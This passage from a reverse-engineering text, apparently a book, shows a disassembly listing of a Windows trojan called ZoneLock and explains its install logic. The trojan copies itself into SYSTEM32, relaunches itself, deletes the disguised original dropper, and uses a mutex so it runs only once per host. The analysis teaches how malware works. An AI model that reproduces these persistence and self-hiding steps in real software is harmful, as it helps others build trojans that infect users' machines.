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0040266A 0040266B 0040266F 00402671 00402673 00402674 00402679 0040267E 00402684 00402687 00402688 0040268C 0040268E 00402690 00402691 00402696 0040269B 0040269D 004026A2 004026A5 004026AA 004026AF 004026B4 004026B7 004026BA 004026BC 004026C1 004026C6 004026CB 004026CE 004026D3 004026D5 004026DA 004026DF 004026E0 004026E2 004026E7 004026EC 004026F1 004026F3 004026F5 004026F8 004026FA
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INC EAX CMP BYTE PTR DS:[ECX+EAX],0 JNZ SHORT ZoneLock.0040266A MOV EBX,EAX PUSH EBX PUSH ZoneLock.00404540
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; Count ; String = C:\WINNT\SYSTEM32\ ZoneLockup.exe CALL <JMP.&USER32.CharUpperBuffA> LEA ECX,DWORD PTR DS:[404010] OR EAX,FFFFFFFF INC EAX CMP BYTE PTR DS:[ECX+EAX],0 JNZ SHORT ZoneLock.00402687 MOV EBX,EAX PUSH EBX ; Count PUSH ZoneLock.00404010 ; String = C:\WINNT\system32 CALL <JMP.&USER32.CharUpperBuffA> PUSH 0 CALL ZoneLock.004019CB ADD ESP,4 PUSH ZoneLock.00404010 ; s2 = C:\WINNT\system32 PUSH ZoneLock.00404540 ; s1 = C:\WINNT\SYSTEM32\ ZoneLockup.exe CALL <JMP.&CRTDLL.strstr> ADD ESP,8 CMP EAX,0 JNZ SHORT ZoneLock.00402736 PUSH ZoneLock.00405094 ; src = ZoneLockup.exe PUSH ZoneLock.00404010 ; dest = C:\WINNT\system32 CALL <JMP.&CRTDLL.strcat> ADD ESP,8 MOV EDI,0 JMP SHORT ZoneLock.004026E0 PUSH 1F4 ; Timeout = 500. ms CALL <JMP.&KERNEL32.Sleep> INC EDI PUSH 0 ; FailIfExists = FALSE PUSH ZoneLock.00404010 ; NewFileName = C:\WINNT\system32 PUSH ZoneLock.00404540 ; ExistingFileName = C:\WINNT\ SYSTEM32\ZoneLockup.exe CALL <JMP.&KERNEL32.CopyFileA> OR EAX,EAX JNZ SHORT ZoneLock.004026FA CMP EDI,5 JL SHORT ZoneLock.004026D5 PUSH ZoneLock.00404540 ; <%s> = C:\WINNT\SYSTEM32\
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Listing 8.3 (continued)
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004026FF 00402704 0040270A 0040270B 00402710 00402713 00402715 00402717 0040271D 0040271E 00402723 00402728 0040272A 0040272F 00402731 00402736 0040273B 00402740 00402741 00402746 00402749 0040274B 0040274D 0040274F 00402751 00402754 00402755 00402759 0040275B 0040275E 00402760 00402765 0040276A 0040276C 0040276F 00402770 00402775 0040277A 0040277C 0040277E 00402783 00402788 0040278D 00402792 00402794 00402796
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ZoneLockup.exe PUSH ZoneLock.0040553D ; format = qwer%s LEA EAX,DWORD PTR SS:[EBP-29C] PUSH EAX ; s CALL <JMP.&CRTDLL.sprintf> ADD ESP,0C PUSH 5 ; IsShown = 5 PUSH 0 ; DefDir = NULL LEA EAX,DWORD PTR SS:[EBP-29C] PUSH EAX ; Parameters PUSH ZoneLock.00404010 ; FileName = C:\WINNT\system32 PUSH ZoneLock.00405696 ; Operation = open PUSH 0 ; hWnd = NULL CALL <JMP.&SHELL32.ShellExecuteA> PUSH 0 ; ExitCode = 0 CALL <JMP.&KERNEL32.ExitProcess> CALL <JMP.&KERNEL32.GetCommandLineA> PUSH ZoneLock.00405538 ; s2 = qwer PUSH EAX ; s1 CALL <JMP.&CRTDLL.strstr> ADD ESP,8 MOV ESI,EAX OR ESI,ESI JE SHORT ZoneLock.00402775 MOV ECX,ESI OR EAX,FFFFFFFF INC EAX CMP BYTE PTR DS:[ECX+EAX],0 JNZ SHORT ZoneLock.00402754 CMP EAX,8 JBE SHORT ZoneLock.00402775 PUSH 7D0 ; Timeout = 2000. ms CALL <JMP.&KERNEL32.Sleep> MOV EAX,ESI ADD EAX,4 PUSH EAX ; FileName CALL <JMP.&KERNEL32.DeleteFileA> PUSH ZoneLock.004050A3 ; MutexName = botsmfdutpex PUSH 1 ; InitialOwner = TRUE PUSH 0 ; pSecurity = NULL CALL <JMP.&KERNEL32.CreateMutexA> MOV DWORD PTR DS:[404650],EAX CALL <JMP.&KERNEL32.GetLastError> CMP EAX,0B7 JNZ SHORT ZoneLock.0040279B PUSH 0 ; ExitCode = 0 CALL <JMP.&KERNEL32.ExitProcess>
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Listing 8.3 (continued)
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When the program is first launched, it runs some checks to see whether it has already been installed, and if not it installs itself. This is done by calling GetModuleFileName to obtain the primary executable s file name, and checking whether the system s SYSTEM32 directory name is part of the path. If the program has not yet been installed, it proceeds to copy itself to the SYSTEM32 directory under the name ZoneLockup.exe, launches that executable, and terminates itself by calling ExitProcess. The new instance of the process is obviously going to run this exact same code, except this time the SYSTEM32 check will find that the program is already running from SYSTEM32 and will wind up running the code at 00402736. This sequence checks whether this is the first time that the program is launched from its permanent habitat. This is done by checking a special flag qwer set in the command-line parameters that also includes the full path and name of the original Trojan executable that was launched (This is going to be something like Webcam Shots.scr). The program needs this information so that it can delete this file there is no reason to keep the original executable in place after the ZoneLockup.exe is created and launched. If you re wondering why this file name was passed into the new instance instead of just deleting it in the previous instance, there is a simple answer: It wouldn t have been possible to delete the executable while the program was still running, because Windows locks executable files while they are loaded into memory. The program had to launch a new instance, terminate the first one, and delete the original file from this new instance. The function proceeds to create a mutex called botsmfdutpex, whatever that means. The purpose of this mutex is to make sure no other instances of the program are already running; the program terminates if the mutex already exists. This mechanism ensures that the program doesn t try to infect the same host twice.
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